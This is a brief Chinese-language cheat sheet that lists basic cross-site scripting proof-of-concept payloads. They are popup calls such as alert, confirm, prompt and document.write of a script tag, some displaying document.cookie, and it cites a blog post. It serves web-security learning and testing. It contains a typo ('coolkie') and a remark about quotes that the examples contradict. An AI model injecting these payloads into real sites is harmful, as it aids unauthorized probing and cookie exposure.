五种xss弹窗方式

1.alert()

• alert(‘xss’)
• alert(“xss”)
• alert(/xss/)
• alert(document.cookie)

2.confirm()

• confirm(‘xss’)
• confirm(“xss”)
• confirm(/xss/)
• confirm(document.cookie)

3.prompt()

• prompt(‘xss’)
• prompt(“xss”)
• prompt(/xss/)
• prompt(document.coolkie)

(/xss/)以上三种方法都可以实现，但是会多出两个‘/’

4.document.write()

- document.write('<script>alert("xss")<\/script>')
- document.write('<script>alert(/xss/)<\/script>')
- document.write('<script>alert(document.cookie)<\/script>')

括号里不能使用单引号；
alert也可以换成其他弹窗方式；

5.console.log()

• console.log(alert(‘xss’))
• console.log(alert(“xss”))
• console.log(alert(/xss/))
• console.log(alert(document.cookie))

注意:上面五种方式都要在script标签中实现

参考：https://blog.csdn.net/YuanMxy/article/details/80703515